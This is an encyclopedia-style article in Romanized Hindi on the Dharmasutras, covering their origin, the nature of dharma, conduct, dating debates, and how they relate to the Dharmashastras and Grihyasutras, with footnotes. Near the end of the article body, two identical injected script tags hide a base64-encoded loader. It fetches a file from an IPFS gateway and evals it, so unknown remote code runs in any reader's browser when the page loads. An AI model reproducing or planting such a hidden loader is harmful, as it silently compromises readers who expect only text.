धर्मसूत्र
dharmasootroan ka udbhav evan vikas
dharmasootroan mean varnashram-dharm, vyaktigat acharan, raja evan praja ke karttavy adi ka vidhan hai. ye grihyasootroan ki shrriankhala ke roop mean hi upalabdh hote haian. shrautasootroan ke saman hi, mana jata hai ki pratyek shakha ke dharmasootr bhi prithakh-prithakh the. vartaman samay mean sabhi shakhaoan ke dharmasootr upalabdh nahian hote. is anupalabdhi ka ek karan yah hai ki sampoorn prachin vanmay aj hamare samaksh vidyaman nahian hai. usaka ek b da bhag kalakavalit ho gaya. isaka doosara karan yah mana jata hai ki sabhi shakhaoan ke prithakh-prithakh dharmasootroan ka sanbhavat: pranayan hi nahian kiya gaya, kyoanki in shakhaoan ke dvara kisi any shakha ke dharmasootroan ko hi apana liya gaya tha. poorvamimaansa mean kumaril bhatt ne bhi aisa hi sanket diya hai.[1] aryoan ke riti-rivaj vedadi prachin shastroan par adhrit the kintu sootrakal tak ate-ate in riti-rivajoan, samajik sansthanoan tatha rajanitik paristhitiyoan mean paryapt parivartan evan pragati ho gayi thi at: in sabako niyamabaddh karane ki avashyakata anubhav ki gayi. samajik vikas ke sath hi uthi samasyaean bhi pratidin jatil hoti ja rahi thian. inake samadhan ka karyabhar anek vaidik shakhaoan ne sanbhal liya,jisake parinamasvaroop gahan vichar-vimarsh poorvak sootragranthoan ka sampadan kiya gaya. in sootragranthoan ne is dirghakalin bauddhik sampada ko sootroan ke madhyam se surakshit rakha, isaka praman in sootragranthoan mean uddhrit anek prachin acharyoan ke mat-matantaroan ke roop mean milata hai. yah to vikas ka ek kram tha jo tatkalik paristhiti ke karan nirantar ho raha tha. yah vikasakram yahian par nahian ruka apitu sootragranthoan mean bhi samayanukool parivartan evan parivardhan kiya gaya jisake phalasvaroop hi paravarti smritiyoan ka janm hua. nayi-nayi samasyaean phir bhi ubharati rahian. unake samadhanarth smritiyoan par bhi bhashy evan tikaean likhi gayian jinake madhyam se prachin vachanoan ki navin vyakhyaean ki gayian. is prakar apane se poorvavarti adhar ko tyage bina hi nootan siddhantoan tatha niyamoan ke samayanukool pratipadan ka marg prashast kar liya gaya.
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dharm ka svaroop
jaisa ki nam se hi vidit hai ki dharmasootroan mean vyakti ke dharmasambandhi kriyakalapoan par vichar kiya gaya hai, kintu dharmasootroan mean pratipadit dharm kisi vishesh pooja-paddhati par ashrit n hokar samast acharan v vyavahar par vichar karate hue sampoorn manavajivan ka hi niyantrak hai. ‘dharm’ shabd ka prayog vaidik sanhitaoan tatha unake paravarti sahity mean prachur matra mean hota ja raha hai. yahaan par yah avadhey hai ki paravarti sahity mean dharm shabd ka vah arth drishtigochar nahian hota, jo ki vaidik sanhitaoan mean upalabdh hai. sanhitaoan mean dharm shabd vistrit arth mean prayukt hai. atharvaved mean prithivi ke gyarah dharak tattvoan ki ganana ‘prithivian sdharayanti’ kahakar ki gayi hai.[2] isi prakar rrigved[3] mean ‘tani dharmani prathamanyasanh’ kahakar yahi bhav prakat kiya gaya hai. is prakar yah dharm kisi deshavishesh tatha kalavishesh se sambandhit n hokar aise tatvoan ko pariganit karata hai jo samast prithivi athava usake nivasiyoan ko dharan karate haian. ve niyam shashvat haian tatha sabhi ke lie aparihary haian. maiksamoolar ne bhi dharm ke is svaroop ki or in shabdoan mean iangit kiya hai- prachin bharatavasiyoan ke lie dharm sabase pahale anek vishayoan ke bich ek ruchi ka vishay nahian tha apitu vah sabaka atmasamarpan karane vali vidhi thi. isake antargat n keval pooja aur prarthana ati thi apitu vah sab bhi ata tha jise ham darshan, naitikata, qanoon aur shasan kahate haian. unaka sampoorn jivan unake lie dharm tha tatha doosari chizean manoan is jivan ki bhautik avashyakataoan ke lie nimitt matr thian.‘[4] sanhitaoan ke paravarti sahity mean dharm keval varnashram ke achar-vichar tatha kriyakalapoan tak hi simit rah gaya. upanishit-kal mean dharm ka yahi svaroop upalabdh hota hai. chhandogy upanishad[5] mean dharm ke tin skandh ginae gaye haian. inamean yajn, adhyayan tatha dan pratham, tap dvitiy tatha acharyakul mean vas tritiy skandh hai.[6] spasht hi inake antargat vargoan mean roodh hokar paravarti kal mean poojapaddhati ko bhi dharm ne apane mean samavisht kar liya.
itana hone par bhi sabhi ne dharm ka mool ved ko mana jata hai. manu ne to is vishay mean 'dharm jijnasamananaan pramanan paraman shruti:' tatha 'vedoakhilo dharmamoolamh' adi ghoshana karake vedoan ko hi dharm ka mool kaha hai.[7] gautam dharmasootr mean to prarambh mean hi 'vedoan dharmamoolam'.[8] ‘tadvidaan ch smritishile’[9] sootroan dvara yahi bat kahi gayi hai. ye donoan sootr manusmriti ke 'vedoanakhilo dharmamoolam smritishile ch tadvidamh' shlokaansh ke hi roopantar matr haian. isi prakar vasishth dharmasootr[10] mean bhi 'shrutismritivihito dharm:' kahakar dharm ke vishay mean shruti tatha smriti ko praman mana hai. baudhayan dharmasootr mean shruti tatha smriti ke atirikt shishtacharan ko bhi dharm ka lakshan kahakar manusmriti mean pratipadit shruti, smriti tatha shishtacharan ko hi sootr roop mean nibaddh kiya hai.[11] is prakar dharm ke lakshan mean shruti ke sath smriti tatha shishtacharan ko bhi sammilit kar liya gaya. darshanashastr mean dharm ka lakshy lok-paralok ki siddhi[12] kahakar atyant vyapak kar diya gaya tatha ek prakar se samast manav-jivan ko hi isake dvara niyantrit kar diya gaya. vaisheshik darshan ke ukt lakshan ka yahi arth hai ki samast jivan ka, jivan ke pratyek shvas evan kshan ka upayog hi is riti se kiya jae ki jisase abhyuday tatha ni:shreyas ki siddhi ho sake. isamean hi apana tatha doosaroan ka kalyan nihit hai. dharm manav ki shaktiyoan evan lakshy ko sankuchit nahian karata apitu vah to manushy mean aparimit shakti dekhata hai jisake adhar par manushy apane lakshy ko prapt kar sakata hai. abhyuday tatha ni:shreyas ki siddhi namak lakshy itana mahanh hai ki isase bahar kuchh bhi nahian hai. ise prapt karane ki ni:sim sambhavanaean manushy mean nihit haian. is prakar jivan ke pratyek paksh par dharm vichar karata hai tatha apani vyavastha deta hai.
dharmasootroan ka mahattv evan prathamikata
is vyavastha ke pratipadak hi dharmasootr tatha smritiyaan haian. dharmasootrakaroan ne apane-apane granthoan dvara manavajivan ko is prakar niyantrit karane ka yatn kiya ki jisase vah ukt donoan lakshyoan ko prapt kar sake. dharmasootrakaroan ne manav jivan se sambandhit pratyek samasya par vichar karake apani vyavastha di hai jisase ki manav jivan vyavasthit roop se chal sake. isilie unhoanne varnadharm, ashram-dharm, rajadharm, prajadharm, khanapan, pap, prayashchitt, jati-pratha, dayad, vivah adi pratyek pramukh vishayoan par uttam riti se vivechan kiya. dharmasootroan ka vyakti ke samajik jivan ki drishti se atyant mahattv hai. manushy ek samajik prani hai. samaj mean rahakar hi use apane achar-vyavahar, naitikata adi ka palan karana hota hai. samaj ki drishti se apane ap ko niyantrit karana hota hai. uchchhrinh-khalata-niyam-rahitata ya anaitikata ke rahate samaj chal nahian sakata. dharmasootroan mean vyakti ke samajik jivan ke sampadanarth niyam banae gaye haian. un niyamoan ke dvara hi samaj mean vyakti ke karttavy tatha adhikaroan ka niyantran hota hai. dharmasootroan mean samaj ke vibhinn vargoan ke parasparik achar-vyavahar adi ka bhi kramik varnan rahata hai tatha vibhinn sthitiyoan se gujarate hue vyakti ke kartavy evan adhikaroan ka bhi ullekh rahata hai. kabhi-kabhi dharmasootr grihyasootroan ke pratipady vishayoan par bhi vichar karate pratit hote haian kintu aisa kam sthanoan par hi hai. grihyasootroan mean pakayajn, vivah, sanskar, shraddh, madhupark adi ka varnan rahata hai. is prakar grihyasootroan mean vyakti ke grihasth jivan ke sanchalanarth aise riti-rivaj tatha niyamoan ka varnan hai jo vyakti ke dharmik jivan ko sanyamit tatha anushasit karate haian kintu vyakti ka jivan keval dharm tak hi to simit nahian hai. use samajik jivan bhi jina hota hai jahaan usaki kuchh samajik samasyaean hoti haian, usake samajik evan naitik dayitv bhi hote haian jinake poorn n karane par ya unako to dane par dand ka vidhan bhi kiya jata hai. dharmasootroan ka mahattv isi drishti se hai ki in samajik evan naitik dayitvoan tatha inake poorn n karane par vividh prakar ke dandoan ka vidhan dharmasootrakar hi karate haian. is prakar dharmasootroan ka kshetr samaj mean vyapt vividh vargoan tatha ashramoan ke jivan aur unaki samasyaoan tak vistrit hai, jabaki grihyasootroan ka kshetr apani shakhaoan ke antargat prachalit niyamoan tatha riti-rivajoan tak hi simit hai.
dharmasootroan ka mahattv unake vishay-pratipadan ke karan hai. samajik vyavastha ka adhar varnashram-paddhati hai. dharmasootroan mean varnashram-vyavastha ke adhar par hi vividh vishayoan ka pratipadan kiya gaya hai. inamean varnoan ke kartavyoan tatha adhikaroan par paryapt prakash dala gaya hai. dharmasootrakar apatkal mean bhi man se hi achar-palan par bal dete haian.[13] ayogy tatha dooshit vyakti se parigrah ka sarvatha nishedh kiya gaya hai. varnoan evan ashramoan ke kartavy-nirdharan ki drishti se bhi dharmasootr paryapt mahattv rakhate haian. dharmasootroan ke kal tak ashramoan ka mahattv paryapt badh gaya tha at: dharmasootroan mean etadvishayak paryapt nirdesh diye gaye haian. sabhi ashramoan ka adhar grihasthashram hai tatha usaka adhar hai vivah. dharmasootroan mean vivah par paryapt prakash dala gaya hai. yahaan par yah vishesh hai ki ashtavidh vivahoan mean sabhi dharmasootrakaroan ne n to ek kram ko apanaya tatha n hi unaki shreshthata ke taratamy ko sabhi ne svikar kiya. pratolom vivah ki sarvatr ninda ki gayi hai. vivahoparant pati-patni ke dharmik krity ek sath karane ka vidhan hai. dhan-sampatti par donoan ka saman roop se adhikar mana gaya hai. grihasth ke lie panch mahayajn tatha sabhi sanskaroan ki anivaryata yahaan par pratipadit ki gayi hai. dharmasootrakar is bat se bhi bhalibhaanti parichit the ki maryada-ullanghan se samaj mean varnasankarata utpann hoti hai. dharmasootrakaroan ne varnasankar jatiyoan ko bhi manyata pradan karake unaki samajik sthiti ka nirdharan kar diya tatha varnavyavastha ka palan karakar varnasankarata ko rokane ka dayitv raja ko sauanp diya gaya. gautam dharmasootr[14] mean jatyutkarsh tatha jatyapakarsh ka siddhant bhi pratipadit kiya gaya hai. is prakar varnashram ke vividh kartavyoan ka pratipadan karake isake sath patak, mahapatak, prayashchitt, bhakshyabhakshy, shraddh, vivah aur unake nirnay, sakshi, nyayakarta, aparadh, dand, rrin, byaj, janm-mrityuvishayak ashauch, stri-dharm adi aise sabhi vishayoan par dharmasootroan mean vichar kiya gaya hai, jinaka jivan mean upayog hai.
achar ki mahatta
dharmasootrakaroan ne vyakti ke achar evan vyavahar par bahut bal diya hai. achar hi manav ka adhar hai; vahi dharm ka tattv hai, is bat ko dharmashastrakar bhali-bhaanti janate the. manusmriti mean to achar par yahaan tak bal diya gaya hai ki use hi param dharm[15] kah diya gaya tatha kaha gaya hai ki acharabhrasht vyakti ko ved bhi pavitr nahian kar sakata.[16] isi prakar ka vichar vasishth dharmasootr[17] mean vyakt kiya gaya hai. hamean dharm ko apane vyavahar mean utarana chahie, n ki keval shabdamatr mean. yadyapi sadachar ka palan atyant aparihary hai. tabhi samaj sthir rah sakata hai, kintu isake sath hi yah tathy bhi smaraniy hai ki sadachar ka palan atyant hi kathin kary hai. satat prayatn karate rahane par bhi acharan-bhrashtata sambhav hai tatha kuchh vyakti janaboojhakar bhi samaj-virodhi tatha shastr-virodhi acharan kar dete haian. acharahinata kisi bhi karan se ho, aisa vyakti patit kahalata hai. dharmasootrakar is bat ko achchhi prakar janate the. ve yah bhi janate the ki aise vyakti ko duracharan athava usake aparadh ka dand to milana hi chahie, kintu yadi vah man se apane papakarm par pashchatap karata hai to pun: use shreshth banane ka avasar pradan karana chahie n ki sadaiv ke lie hi usake jivan ko andhakaramay bana dena chahie. isi uddeshy se dharmasootrakaroan ne dushtachari ke lie anek prakar ke dandoan evan prayashchitoan ka vidhan kiya jata hai jisase vah vyakti shuddh ho sake. dharmasootroan ki drishti mean aparadhi vyakti ghrina ka patr nahian haian, balki vah sneh evan sahanubhooti ka patr hai.
dharmasootrakaroan ki manyata ke mool mean karm siddhant haian, jisake anusar kiya hua koee bhi shubhashubh karm nasht nahian hota, apitu achchhe-bure kisi n kisi phal ko avashy hi utpann karata hai. un karmoan ka phal chahe isi janm mean mil jae, chahe agale janm mean, kintu vah milega avashy. isalie vartaman tatha bhavi donoan hi janm shuddh ho sakean, yahi dharmasootrakaroan ka yatn hai. acharashastr ke mool mean karmasiddhant hi hai. yahi pap ko door karane ki prerana deta hai. varnashram dharm ke sath hi dharmasootroan mean rajadharm ka bhi gahan vivechan kiya gaya hai. raja mean daiviy aansh ki kalpana ki gayi hai. dharmasootroan mean raja ke kartavy, adhikar evan samajavirodhi tatvoan ke lie dand-vyavastha par bhi vichar kiya gaya hai. dharm tatha arth ke virodh ki sthiti mean raja ko dharm ka hi paksh lena chahie. raja ke lie yuddhadi ke niyamoan ka ullekh bhi in granthoan mean kiya gaya hai yatha brahman, pith dikhane vala, bhoomi par baithane vala ye avadhy kahe gaye haian. is prakar dharmasootr rajashastr ke pramukh vishayoan tatha upadanoan ki samany vivechana prastut karate haian. is prakar apane samay mean varnashram ke kartavyoan ka nirdharan karake dharmasootrakaroan ne samaj ko uchit disha dene mean mahattvapoorn bhoomika ka nirvah kiya hai. sath hi aparadhoan ke lie vividh prakar ke prayashchit tatha dand-vidhan karake samaj ko aparadhamukt karane ka bhi yatn kiya. samajik riti-rivajoan evan achar-vyavahar ko manyata pradan karana dharmasootrakaroan ka hi kary tha. pratit hota hai ki us kal mean dharmasootrakar samaj ko samajik evan naitik drishti se niyantrit evan sanyamit karane mean lage hue the. ek sabhy evan svasth samaj ke lie yah anivary tha.
prasangikata
aj samaj mean poorvapekshaya anek parivartan ho chuke haian. yatha-aj rajanitik pranali evan nyay-vyavastha badal chuki hai. shiksha ka svaroop tatha sansthaean bhi ve nahian haian, jo prachinayug mean thian. varnavyavastha ka sthan janmagat jati-pratha ne le liya hai. samajik tatha naitik mooly bhi poorvapekshaya parivartit hue haian. dayad tatha sampatti-vibhajan adi ke lie bhi aj rajanitik qanoon hi sarvamany haian, ityadi. aise samay mean in dharmasootroan ki parimit prasangikata hi mani ja sakati hai. gautam tatha baudhayan adi dharmasootroan se hamean paryapt matra mean bhaugolik sanket bhi prapt hote haian, yatha baudhayan dharmasootr[18] mean shishtoan ke desh ki sima batalayi gayi hai. yahi aryavart hai tatha is pradesh ka acharan anyoan ke lie praman hai. manusmriti mean bhi isaka ullekh kiya gaya hai.[19] mean any acharyoan ka mat bhi diya gaya hai ki ganga tatha yamuna ke bich ka pradesh bhi aryavart hai. is prakar bhaugolik janakari dene ke roop mean bhi ye sootragranth mahattvapoorn sthan rakhate haian. in dharmagranthoan mean anek prachin acharyoan ke matoan ka nam lekar ya bina nam lie hi ullekh kiya gaya jisase hamean unake mat janane mean bhi sahayata milati hai. dharmasootroan[20] se hamean jatiyoan ki utpatti ka itihas janane mean bhi paryapt sahayata milati hai.
dharmasootroan ka rachana-kal
gautam, baudhayan tatha apastamb dharmasootroan ko any dharmasootroan ki apeksha prachin mana jata hai tatha inaka kal 300 ee.poo. tatha 600 ee.poo. ke madhy rakha jata hai. manav-jivan ko niyantrit karane ke lie manusmriti adi dharmashastr tatha gautamadi ke dvara pranit dharmasootroan ke roop mean do prakar ke granth upalabdh hote haian. prashn hai ki dharmashastr poorvavarti hai ya dharmasootr poorvavarti haian? vidvanoan ne donoan hi pakshoan mean apani vyavastha di hai. ant: akshy ke adhar par dharmashastroan ko dharmasootroan se poorvavarti mana ja sakata hai, kyoanki dharmasootroan mean dharmashastr tatha inake kartaoan ka ullekh anekatr hua hai. isake lie nimn udaharan drashtavy haian jahaan par ki[21] dharmashastr ka ullekh hua hai-'tasy ch vyavaharo vede dharmashastrakhyangani upaveda: puranamh.' itana hi nahian, apitu gautam dharmasootr mean manu ka sakshath nam bhi liya gaya hai.[22] dharmasootroan mean anek sthanoan par 'eke'[23] tatha 'achary'[24] adi shabdoan dvara anyoan ke mat ka bhi ullekh kiya gaya hai. is adhar par kuchh vidvanoan ne nishkarsh nikala hai ki ye sanket dharmashastroan ki or hi haian.[25] kintu ukt kathan anuman par hi adhrit hai. 'eke' tatha 'achary:' adi shabdoan ke dvara any dharmasootrakaroan ka smaran bhi kiya ja sakata hai keval dharmashastrakaroan ka hi nahian. at: is hetu ko dharmashastroan ki poorvakalikata ke roop mean upasthit nahian kiya ja sakata. punarapi gautam dharmasootr mean manu dharmashastroan ka ullekh hone se inako gautam dharmasootr se poorvavarti manana hi samichin hai. kundanalal sharma ne apana ashay in shabdoan mean vyakt kiya hai- sootr-rachana se poorv bhi padyatmak rachana thi kintu vah nasht ho gayi. byoohalar ke anusar is prakar ke shlok smritisahayabhoot lokaprachalit padyoan ke aansh the.[26] maiksamoolar ne dharmashastroan ki apeksha dharmasootroan ko poorvavarti mana hai. stentsalar ka anuvad karate hue maiksamoolar ne balapoorvak yah mat vyakt kiya hai ki sabhi padayatmak dharmashastroan ki rachana bina kisi apavad ke prachin sootr-rachanaoan ke adhar par ki gayi thi.[27] d aau. bhandarakar ka bhi yahi vichar hai ki dharmasootroan ki rachana ke pashchath hi anushtup chhand vale dharmashastroan ki rachana ki gayi. m.m.pi.vi. kane isase sahamat nahian haian. unake anusar dharmasootr poorvavarti haian tatha dharmashastr paravarti- 'isi prakar kuchh bahut purane sootroan yatha baudhayan dharmasootr mean bhi ek shlok uddhrit haian', isase yah spasht ho jata hai ki shlokabaddh dharmagranth dharmasootroan se bhi poorv vidyaman the.[28] manusmriti adi dharmashastroan ke kal par vichar karate hue hamean yah bhi dhyan mean rakhana hoga ki yaskachary ne nirukt mean manu ka nam liya hai.[29] at: manana hoga ki yask se poorv dharmashastr vidyaman the. yask ka kal 800 ee. poo. mana jata hai. manusmrityadi dharmashastr isase poorvavarti haian tatha dharmasootr yask ke samakalin ya isase bhi uttaravarti siddh hote haian. itana to nishchit hai ki dharmasootroan mean prachinatam gautam, baudhayan aur apastamb ke dharmasootr eesa poorv 600 aur 300 ke bich ke samay ke haian.[30]
dharmasootr tatha dharmashastr mean antar
(1) adhikatar dharmasootr ya to kisi sootracharan se sambaddh kalp ke bhag hai ya grihyasootroan se sambandh rakhate haian, jabaki dharmashastr kisi bhi sootracharan se sambandhit nahian haian.
(2) dharmashastr padyamay haian, jabaki dharmasootr gady ya gady-pady mean hote haian.
(3) dharmasootroan mean apani shakha ke ved athava charan ke prati adar vishesh rahata hai, jabaki dharmashastroan mean aisa nahian hai.
(4) dharmasootroan mean vishay-vivechan ka koee nishchit kram nahian rahata, jabaki dharmashastroan mean sabhi vishayoan ka achar, vyavahar tatha prayashchitt in tin bhagoan mean vibhajan karake kramabaddh tatha vyavasthit vivechan upalabdh hota hai.
maiksamoolar ke anusar dharmashastr dharmasootroan ke roopantar matr haian. unaka svatantr astitv nahian hai. tadanusar manusmriti maitrayani shakha ke kisi prachin manav dharmasootr ka navin sanskaran matr hai.[31]
dharmasootr tatha grihyasootr
grihyasootr tatha dharmasootr donoan hi smartt haian. kabhi-kabhi dharmasootr apane kalp ke grihyasootroan ka anusaran bhi karate haian tatha grihyasootroan ke hi vishay ka pratipadan karate haian.[32] tathapi unaki satta evan pramanikata svatantr hai. is samay char hi dharmasootr aise upalabdh haian jo apane grihyasootroan ka anusaran karate haian. ye haian – baudhayan, apastamb, hiranyakeshi tatha vaikhanas grihyasootr. any grihyasootroan ka anusaran karane vale dharmasootr is samay upalabdh nahian haian. yah bhi mana jata hai ki apane-apane kalp ke grihyasootr tatha dharmasootr ka kartta ek hi vyakti hota tha. d aau. ramagopal ne is vishay mean yah vichar prakat kiya hai- 'yah to siddh hai ki ek hi kalp ke grihyasootr tatha dharmasootr ka kartta ke hi vyakti tha, kintu is vishay mean matabhed paya jata hai ki ek hi shakha ke sabhi grihyasootroan ke anuroop dharmasootroan ki bhi rachana ki gayi thi ya keval kuchh shakhaoan ke kalpoan mean hi yah visheshata rakhi gayi thi.' kundal lala sharma bhi dharm, shraut tatha grihyasootr in tinoan ka kartta ek hi vyakti ko manate hue likhate haian- 'yah siddhant sthir samajhana chahie ki ek kalp ke shraut, grihy tatha dharmasootroan ke kartta ek hi vyakti the.[33]' yadi inake kartta ek hi vyakti the to ye granth samakalik rahe hoange. ek hi kartta ne kaun-sa sootragranth pahale racha tatha kaun-sa bad mean, isase inake paurvapary par vishesh antar nahian p data. d aau. umesh chandr pandey ne dharmasootroan ke tikakaroan ke adhar par aisa sanket bhi diya hai ki dharmasootr, shraut tatha grihyasootroan se poorv vidyaman the, kintu d aau. pandey ne is tathy ko asvikar karate hue pratipadan kiya hai ki dharmasootr shrautasootr tatha grihyasootroan ke bad ki rachanaean haian.[34] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ kumarilabhatt 8, poorvamimaansasootr 1.3.11 svashakhavihitaishchapi shakhantaragatanh vidhinh. kalpakara nibadhnanti sarvanevan vikalpitanh॥ svashakhopasanharo jaimineshchapi sammat:॥
- ↑ satyan brihadhrritamugran dikshatapobrahmayajn: prithivian dharayanti-atharvaved, prithivisookt, 1.
- ↑ rrigved, 10, 90, 16
- ↑ maiksamoolar, indiya vh aaut kain it tich as, hindi anuvad, dilli prishth 107.
- ↑ chhandogy upanishad 2.23
- ↑ chhandogy upanishad, 2.23
- ↑ manusmriti a., 2
- ↑ gautam dharmasootr, 1.1.1
- ↑ gautam dharmasootr, 1.1.2
- ↑ vasishth dharmasootr, 1.4.6
- ↑ upadishto dharm: prativedamh smartoan dvitiy: tritiy: shishtagam: baudhayan dharm sootr, 1.1 sootr 1-3
- ↑ yatoabhyudayani: shreyasasiddhi: s dharm:- vaisheshik sootr 1.1.2
- ↑ manasa va tatsamagramacharamanupalayedapatkalp:. baudhayan dharmasootr 1-9-67
- ↑ gautam dharmasootr 1.4.18-19
- ↑ achar: paramo dharm: sarveshamiti nishchay:- vasishth dharmasootr 6.1
- ↑ acharahinan n punanti veda:- manusmriti.
- ↑ vasishth dharmasootr 6, 4
- ↑ baudhayan dharmasootr 1.2-1
- ↑ manusmriti 1.2-11
- ↑ baudhayanadharm sootr prashn prashnakarta adhyay 8-9
- ↑ gautam dharmasootr 2.2.19 mean
- ↑ gautamadharm sootr 3.3.7 trini prathamanyanirdeshyanmanu:.
- ↑ gautamadharmasootr, 1.2.15.1.2.56.1.3.1, 1.3.1, 2.9.7, 1.4.17, 3.3-14 adi
- ↑ gautamadharmasootr, 1.3-35, 1.4.18
- ↑ baudhayanadharm sootr, sanpadan umeshachandr pandey, chaukhambha san. sirij 1972, prastavana, prishth 10.
- ↑ kundanalal sharma, vai. vanh. ka brihad iti. (kalpasootr) 1989, prishth 472
- ↑ maiks. di. ai. san. li darechar prishth 70 (vai. va. ka brihad iti.) prishth 472.
- ↑ dharmashastr ka itihas, pratham khand m.m. kane (hindi anuvad) prishth 8
- ↑ avisheshen putranaan dayo bhavati dharmat:. mithunanaan visargadau manu: svayambhuvoabravith-nirukt 3.4-5
- ↑ gautamadharmasootr, varanasi 1966, bhoomika, prishth 7
- ↑ hi.ai.san.lith., ilahabad sanskaran, pri. 32.
- ↑ ramagopal, indiya ap vaidik kalpasootraj pri0 7.
- ↑ vai.va.ka brihadh iti. pri. 492.
- ↑ gautamadharmasootr – bhoomika, prishth 6
sanbandhit lekh
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